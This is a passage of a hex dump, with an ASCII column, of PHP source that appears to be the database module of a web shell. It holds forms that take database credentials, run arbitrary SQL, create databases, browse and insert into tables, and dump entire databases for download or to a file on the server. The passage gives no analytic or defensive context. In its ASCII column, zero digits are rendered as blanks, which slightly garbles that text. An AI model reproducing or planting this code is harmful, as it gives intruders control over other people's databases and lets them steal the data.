36096: 2020202020202020696620282473716C5F71756572795F726573756C74206F72          if ($sql_query_result or
36128: 2028212473716C5F636F6E6669726D2929207B2473716C5F616374203D202473          (!$sql_confirm)) {$sql_act = $s
36160: 716C5F676F746F3B7D0D0A2020202020202020696620282821247375626D6974          ql_goto;} if ((!$submit
36192: 29206F7220282473716C5F6163742929207B6563686F20223C7461626C652062          ) or ($sql_act)) {echo "<table b
36224: 6F726465723D5C22305C222077696474683D5C22313030255C22206865696768          order=\" \" width=\"1  %\" heigh
36256: 743D5C22315C223E3C74723E3C74643E3C666F726D20616374696F6E3D5C2222          t=\"1\"><tr><td><form action=\""
36288: 2E2473716C5F7375726C2E225C22206D6574686F643D5C22504F53545C223E3C          .$sql_surl."\" method=\"POST\"><
36320: 623E223B2069662028282473716C5F71756572792920616E6420282124737562          b>"; if (($sql_query) and (!$sub
36352: 6D69742929207B6563686F2022446F20796F75207265616C6C792077616E7420          mit)) {echo "Do you really want
36384: 746F3A223B7D20656C7365207B6563686F202253514C2D5175657279203A223B          to:";} else {echo "SQL-Query :";
36416: 7D206563686F20223C2F623E3C62723E3C62723E3C7465787461726561206E61          } echo "</b><br><br><textarea na
36448: 6D653D5C2273716C5F71756572795C2220636F6C733D5C223130305C2220726F          me=\"sql_query\" cols=\"1  \" ro
36480: 77733D5C2231305C223E222E68746D6C7370656369616C636861727328247371          ws=\"1 \">".htmlspecialchars($sq
36512: 6C5F7175657279292E223C2F74657874617265613E3C62723E3C62723E3C696E          l_query)."</textarea><br><br><in
36544: 70757420747970653D5C2268696464656E5C22206E616D653D5C2273716C5F61          put type=\"hidden\" name=\"sql_a
36576: 63745C222076616C75653D5C2271756572795C223E3C696E7075742074797065          ct\" value=\"query\"><input type
36608: 3D5C2268696464656E5C22206E616D653D5C2273716C5F74626C5C222076616C          =\"hidden\" name=\"sql_tbl\" val
36640: 75653D5C22222E68746D6C7370656369616C6368617273282473716C5F74626C          ue=\"".htmlspecialchars($sql_tbl
36672: 292E225C223E3C696E70757420747970653D5C2268696464656E5C22206E616D          )."\"><input type=\"hidden\" nam
36704: 653D5C227375626D69745C222076616C75653D5C22315C223E3C696E70757420          e=\"submit\" value=\"1\"><input
36736: 747970653D5C2268696464656E5C22206E616D653D5C2273716C5F676F746F5C          type=\"hidden\" name=\"sql_goto\
36768: 222076616C75653D5C22222E68746D6C7370656369616C636861727328247371          " value=\"".htmlspecialchars($sq
36800: 6C5F676F746F292E225C223E3C696E70757420747970653D5C227375626D6974          l_goto)."\"><input type=\"submit
36832: 5C22206E616D653D5C2273716C5F636F6E6669726D5C222076616C75653D5C22          \" name=\"sql_confirm\" value=\"
36864: 5965735C223E203C696E70757420747970653D5C227375626D69745C22207661          Yes\"> <input type=\"submit\" va
36896: 6C75653D5C224E6F5C223E3C2F666F726D3E3C2F74643E3C2F74723E3C2F7461          lue=\"No\"></form></td></tr></ta
36928: 626C653E223B7D0D0A2020202020207D0D0A20202020202069662028696E5F61          ble>";} } if (in_a
36960: 72726179282473716C5F6163742C24616374732929207B0D0A20202020202020          rray($sql_act,$acts)) {
36992: 203F3E3C7461626C6520626F726465723D2230222077696474683D2231303025          ?><table border=" " width="1  %
37024: 22206865696768743D2231223E3C74723E3C74642077696474683D2233302522          " height="1"><tr><td width="3 %"
37056: 206865696768743D2231223E3C623E437265617465206E6577207461626C653A          height="1"><b>Create new table:
37088: 3C2F623E0D0A20202020202020203C666F726D20616374696F6E3D223C3F7068          </b> <form action="<?ph
37120: 70206563686F20247375726C3B203F3E223E0D0A20202020202020203C696E70          p echo $surl; ?>"> <inp
37152: 757420747970653D2268696464656E22206E616D653D22616374222076616C75          ut type="hidden" name="act" valu
37184: 653D2273716C223E0D0A20202020202020203C696E70757420747970653D2268          e="sql"> <input type="h
37216: 696464656E22206E616D653D2273716C5F616374222076616C75653D226E6577          idden" name="sql_act" value="new
37248: 74626C223E0D0A20202020202020203C696E70757420747970653D2268696464          tbl"> <input type="hidd
37280: 656E22206E616D653D2273716C5F6462222076616C75653D223C3F7068702065          en" name="sql_db" value="<?php e
37312: 63686F2068746D6C7370656369616C6368617273282473716C5F6462293B203F          cho htmlspecialchars($sql_db); ?
37344: 3E223E0D0A20202020202020203C696E70757420747970653D2268696464656E          >"> <input type="hidden
37376: 22206E616D653D2273716C5F6C6F67696E222076616C75653D223C3F70687020          " name="sql_login" value="<?php
37408: 6563686F2068746D6C7370656369616C6368617273282473716C5F6C6F67696E          echo htmlspecialchars($sql_login
37440: 293B203F3E223E0D0A20202020202020203C696E70757420747970653D226869          ); ?>"> <input type="hi
37472: 6464656E22206E616D653D2273716C5F706173737764222076616C75653D223C          dden" name="sql_passwd" value="<
37504: 3F706870206563686F2068746D6C7370656369616C6368617273282473716C5F          ?php echo htmlspecialchars($sql_
37536: 706173737764293B203F3E223E0D0A20202020202020203C696E707574207479          passwd); ?>"> <input ty
37568: 70653D2268696464656E22206E616D653D2273716C5F73657276657222207661          pe="hidden" name="sql_server" va
37600: 6C75653D223C3F706870206563686F2068746D6C7370656369616C6368617273          lue="<?php echo htmlspecialchars
37632: 282473716C5F736572766572293B203F3E223E0D0A20202020202020203C696E          ($sql_server); ?>"> <in
37664: 70757420747970653D2268696464656E22206E616D653D2273716C5F706F7274          put type="hidden" name="sql_port
37696: 222076616C75653D223C3F706870206563686F2068746D6C7370656369616C63          " value="<?php echo htmlspecialc
37728: 68617273282473716C5F706F7274293B203F3E223E0D0A20202020202020203C          hars($sql_port); ?>"> <
37760: 696E70757420747970653D227465787422206E616D653D2273716C5F6E657774          input type="text" name="sql_newt
37792: 626C222073697A653D223230223E0D0A20202020202020203C696E7075742074          bl" size="2 "> <input t
37824: 7970653D227375626D6974222076616C75653D22437265617465223E0D0A2020          ype="submit" value="Create">
37856: 2020202020203C2F666F726D3E3C2F74643E0D0A20202020202020203C746420          </form></td> <td
37888: 77696474683D2233302522206865696768743D2231223E3C623E44756D702044          width="3 %" height="1"><b>Dump D
37920: 423A3C2F623E0D0A20202020202020203C666F726D20616374696F6E3D223C3F          B:</b> <form action="<?
37952: 706870206563686F20247375726C3B203F3E223E0D0A20202020202020203C69          php echo $surl; ?>"> <i
37984: 6E70757420747970653D2268696464656E22206E616D653D2261637422207661          nput type="hidden" name="act" va
38016: 6C75653D2273716C223E0D0A20202020202020203C696E70757420747970653D          lue="sql"> <input type=
38048: 2268696464656E22206E616D653D2273716C5F616374222076616C75653D2264          "hidden" name="sql_act" value="d
38080: 756D70223E0D0A20202020202020203C696E70757420747970653D2268696464          ump"> <input type="hidd
38112: 656E22206E616D653D2273716C5F6462222076616C75653D223C3F7068702065          en" name="sql_db" value="<?php e
38144: 63686F2068746D6C7370656369616C6368617273282473716C5F6462293B203F          cho htmlspecialchars($sql_db); ?
38176: 3E223E0D0A20202020202020203C696E70757420747970653D2268696464656E          >"> <input type="hidden
38208: 22206E616D653D2273716C5F6C6F67696E222076616C75653D223C3F70687020          " name="sql_login" value="<?php
38240: 6563686F2068746D6C7370656369616C6368617273282473716C5F6C6F67696E          echo htmlspecialchars($sql_login
38272: 293B203F3E223E0D0A20202020202020203C696E70757420747970653D226869          ); ?>"> <input type="hi
38304: 6464656E22206E616D653D2273716C5F706173737764222076616C75653D223C          dden" name="sql_passwd" value="<
38336: 3F706870206563686F2068746D6C7370656369616C6368617273282473716C5F          ?php echo htmlspecialchars($sql_
38368: 706173737764293B203F3E223E0D0A20202020202020203C696E707574207479          passwd); ?>"> <input ty
38400: 70653D2268696464656E22206E616D653D2273716C5F73657276657222207661          pe="hidden" name="sql_server" va
38432: 6C75653D223C3F706870206563686F2068746D6C7370656369616C6368617273          lue="<?php echo htmlspecialchars
38464: 282473716C5F736572766572293B203F3E223E3C696E70757420747970653D22          ($sql_server); ?>"><input type="
38496: 68696464656E22206E616D653D2273716C5F706F7274222076616C75653D223C          hidden" name="sql_port" value="<
38528: 3F706870206563686F2068746D6C7370656369616C6368617273282473716C5F          ?php echo htmlspecialchars($sql_
38560: 706F7274293B203F3E223E3C696E70757420747970653D227465787422206E61          port); ?>"><input type="text" na
38592: 6D653D2264756D705F66696C65222073697A653D223330222076616C75653D22          me="dump_file" size="3 " value="
38624: 3C3F706870206563686F202264756D705F222E676574656E7628225345525645          <?php echo "dump_".getenv("SERVE
38656: 525F4E414D4522292E225F222E2473716C5F64622E225F222E64617465282264          R_NAME")."_".$sql_db."_".date("d
38688: 2D6D2D592D482D692D7322292E222E73716C223B203F3E223E3C696E70757420          -m-Y-H-i-s").".sql"; ?>"><input
38720: 747970653D227375626D697422206E616D653D5C227375626D69745C22207661          type="submit" name=\"submit\" va
38752: 6C75653D2244756D70223E3C2F666F726D3E3C2F74643E3C7464207769647468          lue="Dump"></form></td><td width
38784: 3D2233302522206865696768743D2231223E3C2F74643E3C2F74723E3C74723E          ="3 %" height="1"></td></tr><tr>
38816: 3C74642077696474683D2233302522206865696768743D2231223E3C2F74643E          <td width="3 %" height="1"></td>
38848: 3C74642077696474683D2233302522206865696768743D2231223E3C2F74643E          <td width="3 %" height="1"></td>
38880: 3C74642077696474683D2233302522206865696768743D2231223E3C2F74643E          <td width="3 %" height="1"></td>
38912: 3C2F74723E3C2F7461626C653E0D0A20202020202020203C3F7068700D0A2020          </tr></table> <?php
38944: 2020202020206966202821656D707479282473716C5F6163742929207B656368          if (!empty($sql_act)) {ech
38976: 6F20223C68722073697A653D5C22315C22206E6F73686164653E223B7D0D0A20          o "<hr size=\"1\" noshade>";}
39008: 20202020202020696620282473716C5F616374203D3D20226E657774626C2229          if ($sql_act == "newtbl")
39040: 207B0D0A202020202020202020206563686F20223C623E223B0D0A2020202020          { echo "<b>";
39072: 202020202069662028286D7973716C5F6372656174655F646220282473716C5F          if ((mysql_create_db ($sql_
39104: 6E65776462292920616E64202821656D707479282473716C5F6E657764622929          newdb)) and (!empty($sql_newdb))
39136: 29207B0D0A2020202020202020202020206563686F20224442205C22222E6874          ) { echo "DB \"".ht
39168: 6D6C7370656369616C6368617273282473716C5F6E65776462292E225C222068          mlspecialchars($sql_newdb)."\" h
39200: 6173206265656E206372656174656420776974682073756363657373213C2F62          as been created with success!</b
39232: 3E3C62723E223B0D0A202020202020202020207D0D0A20202020202020202020          ><br>"; }
39264: 656C7365207B6563686F202243616E277420637265617465204442205C22222E          else {echo "Can't create DB \"".
39296: 68746D6C7370656369616C6368617273282473716C5F6E65776462292E225C22          htmlspecialchars($sql_newdb)."\"
39328: 2E3C62723E526561736F6E3A3C2F623E20222E6D7973716C5F736D6172746572          .<br>Reason:</b> ".mysql_smarter
39360: 726F7228293B7D0D0A20202020202020207D0D0A2020202020202020656C7365          ror();} } else
39392: 696620282473716C5F616374203D3D202264756D702229207B0D0A2020202020          if ($sql_act == "dump") {
39424: 202020202069662028656D70747928247375626D69742929207B0D0A20202020          if (empty($submit)) {
39456: 2020202020202020246469706C6179203D2046414C53453B0D0A202020202020          $diplay = FALSE;
39488: 2020202020206563686F20223C666F726D206D6574686F643D5C224745545C22          echo "<form method=\"GET\"
39520: 3E3C696E70757420747970653D5C2268696464656E5C22206E616D653D5C2261          ><input type=\"hidden\" name=\"a
39552: 63745C222076616C75653D5C2273716C5C223E3C696E70757420747970653D5C          ct\" value=\"sql\"><input type=\
39584: 2268696464656E5C22206E616D653D5C2273716C5F6163745C222076616C7565          "hidden\" name=\"sql_act\" value
39616: 3D5C2264756D705C223E3C696E70757420747970653D5C2268696464656E5C22          =\"dump\"><input type=\"hidden\"
39648: 206E616D653D5C2273716C5F64625C222076616C75653D5C22222E68746D6C73          name=\"sql_db\" value=\"".htmls
39680: 70656369616C6368617273282473716C5F6462292E225C223E3C696E70757420          pecialchars($sql_db)."\"><input
39712: 747970653D5C2268696464656E5C22206E616D653D5C2273716C5F6C6F67696E          type=\"hidden\" name=\"sql_login
39744: 5C222076616C75653D5C22222E68746D6C7370656369616C6368617273282473          \" value=\"".htmlspecialchars($s
39776: 716C5F6C6F67696E292E225C223E3C696E70757420747970653D5C2268696464          ql_login)."\"><input type=\"hidd
39808: 656E5C22206E616D653D5C2273716C5F7061737377645C222076616C75653D5C          en\" name=\"sql_passwd\" value=\
39840: 22222E68746D6C7370656369616C6368617273282473716C5F70617373776429          "".htmlspecialchars($sql_passwd)
39872: 2E225C223E3C696E70757420747970653D5C2268696464656E5C22206E616D65          ."\"><input type=\"hidden\" name
39904: 3D5C2273716C5F7365727665725C222076616C75653D5C22222E68746D6C7370          =\"sql_server\" value=\"".htmlsp
39936: 656369616C6368617273282473716C5F736572766572292E225C223E3C696E70          ecialchars($sql_server)."\"><inp
39968: 757420747970653D5C2268696464656E5C22206E616D653D5C2273716C5F706F          ut type=\"hidden\" name=\"sql_po
40000: 72745C222076616C75653D5C22222E68746D6C7370656369616C636861727328          rt\" value=\"".htmlspecialchars(
40032: 2473716C5F706F7274292E225C223E3C696E70757420747970653D5C22686964          $sql_port)."\"><input type=\"hid
40064: 64656E5C22206E616D653D5C2273716C5F74626C5C222076616C75653D5C2222          den\" name=\"sql_tbl\" value=\""
40096: 2E68746D6C7370656369616C6368617273282473716C5F74626C292E225C223E          .htmlspecialchars($sql_tbl)."\">
40128: 3C623E53514C2D44756D703A3C2F623E3C62723E3C62723E223B0D0A20202020          <b>SQL-Dump:</b><br><br>";
40160: 20202020202020206563686F20223C623E44423A3C2F623E203C696E70757420          echo "<b>DB:</b> <input
40192: 747970653D5C22746578745C22206E616D653D5C2273716C5F64625C22207661          type=\"text\" name=\"sql_db\" va
40224: 6C75653D5C22222E75726C656E636F6465282473716C5F6462292E225C223E3C          lue=\"".urlencode($sql_db)."\"><
40256: 62723E3C62723E223B0D0A2020202020202020202020202476203D206A6F696E          br><br>"; $v = join
40288: 2028223B222C24646D7074626C73293B0D0A2020202020202020202020206563          (";",$dmptbls); ec
40320: 686F20223C623E4F6E6C79207461626C657320286578706C6F6465205C223B5C          ho "<b>Only tables (explode \";\
40352: 2229266E6273703B3C623E3C7375703E313C2F7375703E3C2F623E3A3C2F623E          ")&nbsp;<b><sup>1</sup></b>:</b>
40384: 266E6273703B3C696E70757420747970653D5C22746578745C22206E616D653D          &nbsp;<input type=\"text\" name=
40416: 5C22646D7074626C735C222076616C75653D5C22222E68746D6C737065636961          \"dmptbls\" value=\"".htmlspecia
40448: 6C6368617273282476292E225C222073697A653D5C22222E287374726C656E28          lchars($v)."\" size=\"".(strlen(
40480: 2476292B35292E225C223E3C62723E3C62723E223B0D0A202020202020202020          $v)+5)."\"><br><br>";
40512: 202020696620282464756D705F66696C6529207B24746D70203D202464756D70          if ($dump_file) {$tmp = $dump
40544: 5F66696C653B7D0D0A202020202020202020202020656C7365207B24746D7020          _file;} else {$tmp
40576: 3D2068746D6C7370656369616C636861727328222E2F64756D705F222E676574          = htmlspecialchars("./dump_".get
40608: 656E7628225345525645525F4E414D4522292E225F222E2473716C5F64622E22          env("SERVER_NAME")."_".$sql_db."
40640: 5F222E646174652822642D6D2D592D482D692D7322292E222E73716C22293B7D          _".date("d-m-Y-H-i-s").".sql");}
40672: 0D0A2020202020202020202020206563686F20223C623E46696C653A3C2F623E          echo "<b>File:</b>
40704: 266E6273703B3C696E70757420747970653D5C22746578745C22206E616D653D          &nbsp;<input type=\"text\" name=
40736: 5C2273716C5F64756D705F66696C655C222076616C75653D5C22222E24746D70          \"sql_dump_file\" value=\"".$tmp
40768: 2E225C222073697A653D5C22222E287374726C656E2824746D70292B7374726C          ."\" size=\"".(strlen($tmp)+strl
40800: 656E2824746D70292025203330292E225C223E3C62723E3C62723E223B0D0A20          en($tmp) % 3 )."\"><br><br>";
40832: 20202020202020202020206563686F20223C623E446F776E6C6F61643A203C2F          echo "<b>Download: </
40864: 623E266E6273703B3C696E70757420747970653D5C22636865636B626F785C22          b>&nbsp;<input type=\"checkbox\"
40896: 206E616D653D5C2273716C5F64756D705F646F776E6C6F61645C222076616C75          name=\"sql_dump_download\" valu
40928: 653D5C22315C2220636865636B65643E3C62723E3C62723E223B0D0A20202020          e=\"1\" checked><br><br>";
40960: 20202020202020206563686F20223C623E5361766520746F2066696C653A203C          echo "<b>Save to file: <
40992: 2F623E266E6273703B3C696E70757420747970653D5C22636865636B626F785C          /b>&nbsp;<input type=\"checkbox\
41024: 22206E616D653D5C2273716C5F64756D705F73617665746F66696C655C222076          " name=\"sql_dump_savetofile\" v
41056: 616C75653D5C22315C2220636865636B65643E223B0D0A202020202020202020          alue=\"1\" checked>";
41088: 2020206563686F20223C62723E3C62723E3C696E70757420747970653D5C2273          echo "<br><br><input type=\"s
41120: 75626D69745C22206E616D653D5C227375626D69745C222076616C75653D5C22          ubmit\" name=\"submit\" value=\"
41152: 44756D705C223E3C62723E3C62723E3C623E3C7375703E313C2F7375703E3C2F          Dump\"><br><br><b><sup>1</sup></
41184: 623E202D20616C6C2C20696620656D707479223B0D0A20202020202020202020          b> - all, if empty";
41216: 20206563686F20223C2F666F726D3E223B0D0A202020202020202020207D0D0A          echo "</form>"; }
41248: 20202020202020202020656C7365207B0D0A2020202020202020202020202464          else { $d
41280: 69706C6179203D20545255453B0D0A2020202020202020202020202473657420          iplay = TRUE; $set
41312: 3D20617272617928293B0D0A202020202020202020202020247365745B22736F          = array(); $set["so
41344: 636B225D203D202473716C5F736F636B3B0D0A20202020202020202020202024          ck"] = $sql_sock; $
41376: 7365745B226462225D203D202473716C5F64623B0D0A20202020202020202020          set["db"] = $sql_db;
41408: 20202464756D705F6F7574203D2022646F776E6C6F6164223B0D0A2020202020          $dump_out = "download";
41440: 20202020202020247365745B227072696E74225D203D20303B0D0A2020202020          $set["print"] =  ;
41472: 20202020202020247365745B226E6C326272225D203D20303B0D0A2020202020          $set["nl2br"] =  ;
41504: 20202020202020247365745B22225D203D20303B0D0A20202020202020202020          $set[""] =  ;
41536: 2020247365745B2266696C65225D203D202464756D705F66696C653B0D0A2020          $set["file"] = $dump_file;
41568: 20202020202020202020247365745B226164645F64726F70225D203D20545255          $set["add_drop"] = TRU
41600: 453B0D0A202020202020202020202020247365745B226F6E6C7974616273225D          E; $set["onlytabs"]
41632: 203D20617272617928293B0D0A2020202020202020202020206966202821656D          = array(); if (!em
41664: 7074792824646D7074626C732929207B247365745B226F6E6C7974616273225D          pty($dmptbls)) {$set["onlytabs"]
41696: 203D206578706C6F646528223B222C24646D7074626C73293B7D0D0A20202020          = explode(";",$dmptbls);}
41728: 202020202020202024726574203D206D7973716C5F64756D702824736574293B          $ret = mysql_dump($set);
41760: 0D0A202020202020202020202020696620282473716C5F64756D705F646F776E          if ($sql_dump_down
41792: 6C6F616429207B0D0A2020202020202020202020202020406F625F636C65616E          load) { @ob_clean
41824: 28293B0D0A20202020202020202020202020206865616465722822436F6E7465          (); header("Conte
41856: 6E742D747970653A206170706C69636174696F6E2F6F637465742D7374726561          nt-type: application/octet-strea
41888: 6D22293B0D0A20202020202020202020202020206865616465722822436F6E74          m"); header("Cont
41920: 656E742D6C656E6774683A20222E7374726C656E282472657429293B0D0A2020          ent-length: ".strlen($ret));
41952: 2020202020202020202020206865616465722822436F6E74656E742D64697370          header("Content-disp
41984: 6F736974696F6E3A206174746163686D656E743B2066696C656E616D653D5C22          osition: attachment; filename=\"
42016: 222E626173656E616D65282473716C5F64756D705F66696C65292E225C223B22          ".basename($sql_dump_file)."\";"
42048: 293B0D0A20202020202020202020202020206563686F20247265743B0D0A2020          ); echo $ret;
42080: 202020202020202020202020657869743B0D0A2020202020202020202020207D          exit; }
42112: 0D0A202020202020202020202020656C7365696620282473716C5F64756D705F          elseif ($sql_dump_
42144: 73617665746F66696C6529207B0D0A2020202020202020202020202020246670          savetofile) { $fp
42176: 203D20666F70656E282473716C5F64756D705F66696C652C227722293B0D0A20          = fopen($sql_dump_file,"w");
42208: 20202020202020202020202020696620282124667029207B6563686F20223C62          if (!$fp) {echo "<b
42240: 3E44756D70206572726F72212043616E277420777269746520746F205C22222E          >Dump error! Can't write to \"".
42272: 68746D6C7370656369616C6368617273282473716C5F64756D705F66696C6529          htmlspecialchars($sql_dump_file)
42304: 2E225C2221223B7D0D0A2020202020202020202020202020656C7365207B0D0A          ."\"!";} else {
42336: 20202020202020202020202020202020667772697465282466702C2472657429          fwrite($fp,$ret)
42368: 3B0D0A2020202020202020202020202020202066636C6F736528246670293B0D          ; fclose($fp);
42400: 0A202020202020202020202020202020206563686F20223C623E44756D706564          echo "<b>Dumped
42432: 212044756D7020686173206265656E2077726974656420746F205C22222E6874          ! Dump has been writed to \"".ht
42464: 6D6C7370656369616C6368617273287265616C70617468282473716C5F64756D          mlspecialchars(realpath($sql_dum
42496: 705F66696C6529292E225C222028222E766965775F73697A652866696C657369          p_file))."\" (".view_size(filesi
42528: 7A65282473716C5F64756D705F66696C6529292E22293C2F623E2E223B0D0A20          ze($sql_dump_file)).")</b>.";
42560: 202020202020202020202020207D0D0A2020202020202020202020207D0D0A20          } }
42592: 2020202020202020202020656C7365207B6563686F20223C623E44756D703A20          else {echo "<b>Dump:
42624: 6E6F7468696E6720746F20646F213C2F623E223B7D0D0A202020202020202020          nothing to do!</b>";}
42656: 207D0D0A20202020202020207D0D0A202020202020202069662028246469706C          } } if ($dipl
42688: 617929207B0D0A202020206966202821656D707479282473716C5F74626C2929          ay) { if (!empty($sql_tbl))
42720: 207B0D0A20202020202069662028656D707479282473716C5F74626C5F616374          { if (empty($sql_tbl_act
42752: 2929207B2473716C5F74626C5F616374203D202262726F777365223B7D0D0A20          )) {$sql_tbl_act = "browse";}
42784: 202020202024636F756E74203D206D7973716C5F7175657279282253454C4543          $count = mysql_query("SELEC
42816: 5420434F554E54282A292046524F4D2060222E2473716C5F74626C2E22603B22          T COUNT(*) FROM `".$sql_tbl."`;"
42848: 293B0D0A20202020202024636F756E745F726F77203D206D7973716C5F666574          ); $count_row = mysql_fet
42880: 63685F61727261792824636F756E74293B0D0A2020202020206D7973716C5F66          ch_array($count); mysql_f
42912: 7265655F726573756C742824636F756E74293B0D0A2020202020202474626C5F          ree_result($count); $tbl_
42944: 7374727563745F726573756C74203D206D7973716C5F7175657279282253484F          struct_result = mysql_query("SHO
42976: 57204649454C44532046524F4D2060222E2473716C5F74626C2E22603B22293B          W FIELDS FROM `".$sql_tbl."`;");
43008: 0D0A2020202020202474626C5F7374727563745F6669656C6473203D20617272          $tbl_struct_fields = arr
43040: 617928293B0D0A2020202020207768696C65202824726F77203D206D7973716C          ay(); while ($row = mysql
43072: 5F66657463685F6173736F63282474626C5F7374727563745F726573756C7429          _fetch_assoc($tbl_struct_result)
43104: 29207B2474626C5F7374727563745F6669656C64735B5D203D2024726F773B7D          ) {$tbl_struct_fields[] = $row;}
43136: 0D0A202020202020696620282473716C5F6C73203E202473716C5F6C6529207B          if ($sql_ls > $sql_le) {
43168: 2473716C5F6C65203D202473716C5F6C73202B2024706572706167653B7D0D0A          $sql_le = $sql_ls + $perpage;}
43200: 20202020202069662028656D707479282473716C5F74626C5F70616765292920          if (empty($sql_tbl_page))
43232: 7B2473716C5F74626C5F70616765203D20303B7D0D0A20202020202069662028          {$sql_tbl_page =  ;} if (
43264: 656D707479282473716C5F74626C5F6C732929207B2473716C5F74626C5F6C73          empty($sql_tbl_ls)) {$sql_tbl_ls
43296: 203D20303B7D0D0A20202020202069662028656D707479282473716C5F74626C          =  ;} if (empty($sql_tbl
43328: 5F6C652929207B2473716C5F74626C5F6C65203D2033303B7D0D0A2020202020          _le)) {$sql_tbl_le = 3 ;}
43360: 202470657270616765203D202473716C5F74626C5F6C65202D202473716C5F74          $perpage = $sql_tbl_le - $sql_t
43392: 626C5F6C733B0D0A202020202020696620282169735F6E756D65726963282470          bl_ls; if (!is_numeric($p
43424: 6572706167652929207B2470657270616765203D2031303B7D0D0A2020202020          erpage)) {$perpage = 1 ;}
43456: 20246E756D7061676573203D2024636F756E745F726F775B305D2F2470657270          $numpages = $count_row[ ]/$perp
43488: 6167653B0D0A2020202020202465203D206578706C6F6465282220222C247371          age; $e = explode(" ",$sq
43520: 6C5F6F72646572293B0D0A20202020202069662028636F756E7428246529203D          l_order); if (count($e) =
43552: 3D203229207B0D0A20202020202020206966202824655B305D203D3D20226422          = 2) { if ($e[ ] == "d"
43584: 29207B246173635F64657363203D202244455343223B7D0D0A20202020202020          ) {$asc_desc = "DESC";}
43616: 20656C7365207B246173635F64657363203D2022415343223B7D0D0A20202020          else {$asc_desc = "ASC";}
43648: 202020202476203D20224F524445522042592060222E24655B315D2E22602022          $v = "ORDER BY `".$e[1]."` "
43680: 2E246173635F646573632E2220223B0D0A2020202020207D0D0A202020202020          .$asc_desc." "; }
43712: 656C7365207B2476203D2022223B7D0D0A202020202020247175657279203D20          else {$v = "";} $query =
43744: 2253454C454354202A2046524F4D2060222E2473716C5F74626C2E226020222E          "SELECT * FROM `".$sql_tbl."` ".
43776: 24762E224C494D495420222E2473716C5F74626C5F6C732E22202C20222E2470          $v."LIMIT ".$sql_tbl_ls." , ".$p
43808: 6572706167652E22223B0D0A20202020202024726573756C74203D206D797371          erpage.""; $result = mysq
43840: 6C5F71756572792824717565727929206F72207072696E74286D7973716C5F73          l_query($query) or print(mysql_s
43872: 6D6172746572726F722829293B0D0A2020202020206563686F20223C68722073          marterror()); echo "<hr s
43904: 697A653D5C22315C22206E6F73686164653E3C63656E7465723E3C623E546162          ize=\"1\" noshade><center><b>Tab
43936: 6C6520222E68746D6C7370656369616C6368617273282473716C5F74626C292E          le ".htmlspecialchars($sql_tbl).
43968: 222028222E6D7973716C5F6E756D5F6669656C64732824726573756C74292E22          " (".mysql_num_fields($result)."
44000: 20636F6C7320616E6420222E24636F756E745F726F775B305D2E2220726F7773          cols and ".$count_row[ ]." rows
44032: 293C2F623E3C2F63656E7465723E223B0D0A2020202020206563686F20223C61          )</b></center>"; echo "<a
44064: 20687265663D5C22222E2473716C5F7375726C2E2273716C5F74626C3D222E75          href=\"".$sql_surl."sql_tbl=".u
44096: 726C656E636F6465282473716C5F74626C292E222673716C5F74626C5F616374          rlencode($sql_tbl)."&sql_tbl_act
44128: 3D7374727563747572655C223E5B3C623E20537472756374757265203C2F623E          =structure\">[<b> Structure </b>
44160: 5D3C2F613E266E6273703B266E6273703B266E6273703B223B0D0A2020202020          ]</a>&nbsp;&nbsp;&nbsp;";
44192: 206563686F20223C6120687265663D5C22222E2473716C5F7375726C2E227371          echo "<a href=\"".$sql_surl."sq
44224: 6C5F74626C3D222E75726C656E636F6465282473716C5F74626C292E22267371          l_tbl=".urlencode($sql_tbl)."&sq
44256: 6C5F74626C5F6163743D62726F7773655C223E5B3C623E2042726F777365203C          l_tbl_act=browse\">[<b> Browse <
44288: 2F623E5D3C2F613E266E6273703B266E6273703B266E6273703B223B0D0A2020          /b>]</a>&nbsp;&nbsp;&nbsp;";
44320: 202020206563686F20223C6120687265663D5C22222E2473716C5F7375726C2E          echo "<a href=\"".$sql_surl.
44352: 2273716C5F74626C3D222E75726C656E636F6465282473716C5F74626C292E22          "sql_tbl=".urlencode($sql_tbl)."
44384: 2673716C5F6163743D74626C64756D70267468697374626C3D315C223E5B3C62          &sql_act=tbldump&thistbl=1\">[<b
44416: 3E2044756D70203C2F623E5D3C2F613E266E6273703B266E6273703B266E6273          > Dump </b>]</a>&nbsp;&nbsp;&nbs
44448: 703B223B0D0A2020202020206563686F20223C6120687265663D5C22222E2473          p;"; echo "<a href=\"".$s
44480: 716C5F7375726C2E2273716C5F74626C3D222E75726C656E636F646528247371          ql_surl."sql_tbl=".urlencode($sq
44512: 6C5F74626C292E222673716C5F74626C5F6163743D696E736572745C223E5B26          l_tbl)."&sql_tbl_act=insert\">[&
44544: 6E6273703B3C623E496E736572743C2F623E266E6273703B5D3C2F613E266E62          nbsp;<b>Insert</b>&nbsp;]</a>&nb
44576: 73703B266E6273703B266E6273703B223B0D0A20202020202069662028247371          sp;&nbsp;&nbsp;"; if ($sq
44608: 6C5F74626C5F616374203D3D20227374727563747572652229207B6563686F20          l_tbl_act == "structure") {echo
44640: 223C62723E3C62723E3C623E436F6D696E6720736F6F6F6E213C2F623E223B7D          "<br><br><b>Coming sooon!</b>";}
44672: 0D0A202020202020696620282473716C5F74626C5F616374203D3D2022696E73          if ($sql_tbl_act == "ins
44704: 6572742229207B0D0A2020202020202020696620282169735F61727261792824          ert") { if (!is_array($
44736: 73716C5F74626C5F696E736572742929207B2473716C5F74626C5F696E736572          sql_tbl_insert)) {$sql_tbl_inser
44768: 74203D20617272617928293B7D0D0A20202020202020206966202821656D7074          t = array();} if (!empt
44800: 79282473716C5F74626C5F696E736572745F726164696F2929207B20207D202F          y($sql_tbl_insert_radio)) { } /
44832: 2F4E6F742052656164790D0A2020202020202020656C7365207B0D0A20202020          /Not Ready else {
44864: 2020202020206563686F20223C62723E3C62723E3C623E496E73657274696E67          echo "<br><br><b>Inserting
44896: 20726F7720696E746F207461626C653A3C2F623E3C62723E223B0D0A20202020          row into table:</b><br>";
44928: 2020202020206966202821656D707479282473716C5F74626C5F696E73657274          if (!empty($sql_tbl_insert
44960: 5F712929207B0D0A2020202020202020202020202473716C5F7175657279203D          _q)) { $sql_query =
44992: 202253454C454354202A2046524F4D2060222E2473716C5F74626C2E2260223B          "SELECT * FROM `".$sql_tbl."`";
45024: 0D0A2020202020202020202020202473716C5F7175657279202E3D2022205748          $sql_query .= " WH
45056: 455245222E2473716C5F74626C5F696E736572745F713B0D0A20202020202020          ERE".$sql_tbl_insert_q;
45088: 20202020202473716C5F7175657279202E3D2022204C494D495420313B223B0D          $sql_query .= " LIMIT 1;";
45120: 0A20202020202020202020202024726573756C74203D206D7973716C5F717565          $result = mysql_que
45152: 7279282473716C5F71756572792C2473716C5F736F636B29206F72207072696E          ry($sql_query,$sql_sock) or prin
